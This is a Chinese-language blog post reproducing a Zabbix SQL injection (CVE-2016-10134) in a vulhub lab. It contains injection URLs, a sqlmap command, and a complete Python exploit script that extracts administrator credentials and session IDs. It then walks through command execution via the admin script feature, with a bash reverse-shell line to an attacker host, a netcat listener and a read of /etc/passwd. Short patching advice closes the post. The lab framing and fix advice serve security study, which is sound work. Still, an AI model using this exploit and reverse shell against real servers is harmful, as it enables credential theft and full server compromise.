zabbix-latest.php-SQL注入漏洞(CVE-2016-10134)

zabbix-latest.php-SQL注入漏洞(CVE-2016-10134)

漏洞描述

Zabbix 的latest.php中的toggle_ids[]或jsrpc.php中的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,或者通过更换sessionid进入后台,利用后台的script功能直接获取zabbix服务器的操作系统权限。

影响版本

zabbix 2.2.x,3.0.0-3.0.3

漏洞复现

以vulhub作为漏洞环境,IP为192.168.14.128

latest.php

(1)靶机系统默认开启游客账户登录,使用游客账户guest,密码为空格登录。
(2)查看cookie中的zbx_sessionid,复制后16位字符

(3)将复制的16位字符作为sid的值,访问以下URL即可看到数据库名称。toggle_ids[]为注入点。

  http://192.168.14.128:8080/latest.php?output=ajax&sid=c04ca0eeef290c4c&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0x7e,database(),0x7e),0)

jsrpc.php

(1)访问以下URL也可以触发SQL注入。profileIdx2为注入点。

http://192.168.14.128:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0x7e,database()),0x7e)

sqlmap跑一下

python3 sqlmap.py -u "http://192.168.14.128:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0x7e,database()),0x7e)" -p profileIdx2

(2)利用以下POC获取管理员用户名/密码和session_id。在python2环境下运行该脚本。也可使用工具获取账户。

# -*- coding: utf-8 -*-# Date: 2016/8/18
import urllib2import sys, osimport re
def deteck_Sql():u'检查是否存在 SQL 注入'payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"try:response = urllib2.urlopen(url + payload, timeout=10).read()except Exception, msg:print msgelse:key_reg = re.compile(r"INSERT\s*INTO\s*profiles")if key_reg.findall(response):return True
def sql_Inject(sql):u'获取特定sql语句内容'payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"try:response = urllib2.urlopen(payload, timeout=10).read()except Exception, msg:print msgelse:result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")results = result_reg.findall(response)if results:return results[0]
if __name__ == '__main__':# os.system(['clear', 'cls'][os.name == 'nt'])print '+' + '-' * 60 + '+'print u'\t Python Zabbix < 3.0.4 SQL 注入 Exploit'print '\t Origin Author: http://www.waitalone.cn/'print '\t\t Modified by: Jamin Zhang'print '\t\t Date: 2016-08-18'print '+' + '-' * 60 + '+'if len(sys.argv) != 2:print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后台 URL]'print u'实例: ' + os.path.basename(sys.argv[0]) + ' http://jaminzhang.github.io'sys.exit()url = sys.argv[1]if url[-1] != '/': url += '/'passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"if deteck_Sql():print u'Zabbix 存在 SQL 注入漏洞!\n'print u'管理员 用户名密码:%s' % sql_Inject(passwd_sql)print u'管理员 Session_id:%s' % sql_Inject(session_sql)else:print u'Zabbix 不存在 SQL 注入漏洞!\n'
python2 exploit.py http://192.168.14.128:8080/

根据得到的用户名密码登录,或者通过修改zbx_sessionid登录后台。

getshell
准备:在靶机的配置文件zabbix_agentd.conf中添加EnableRemoteCommands = 1

docker ps # 查看agent的容器iddocker exec -it 9344458704f9 /bin/sh # 进入容器vi /etc/zabbix/zabbix_agentd.conf # 添加EnableRemoteCommands = 1docker restart 9344458704f9 # 重启容器

(1)以管理员身份登录后台后,依次点击Administrator-->scrip-->creatscript

(2)在commands中写入反弹shell命令,点击Add

bash -i >& /dev/tcp/ip/port 0>&1 # ip和port为攻击者的ip和开启的端口

(3)保存创建的script后依次点击Monitroing-Latest data,选择Host groups的select,全选。再点击Filter-->Zabbix server,选择刚刚创建的shell即可。

在攻击机上开启监听。但我这里没弹回来。

nc -lvp port

(4)虽然没有弹回shell,但依然存在命令执行。修改原来保存的shell或者再创建一个test,执行后可看到效果。

cat /etc/passwd

修复建议
1.更新到最新版本
2.禁用guest登陆功能
3.禁用远程命令

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_GUOGUO

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值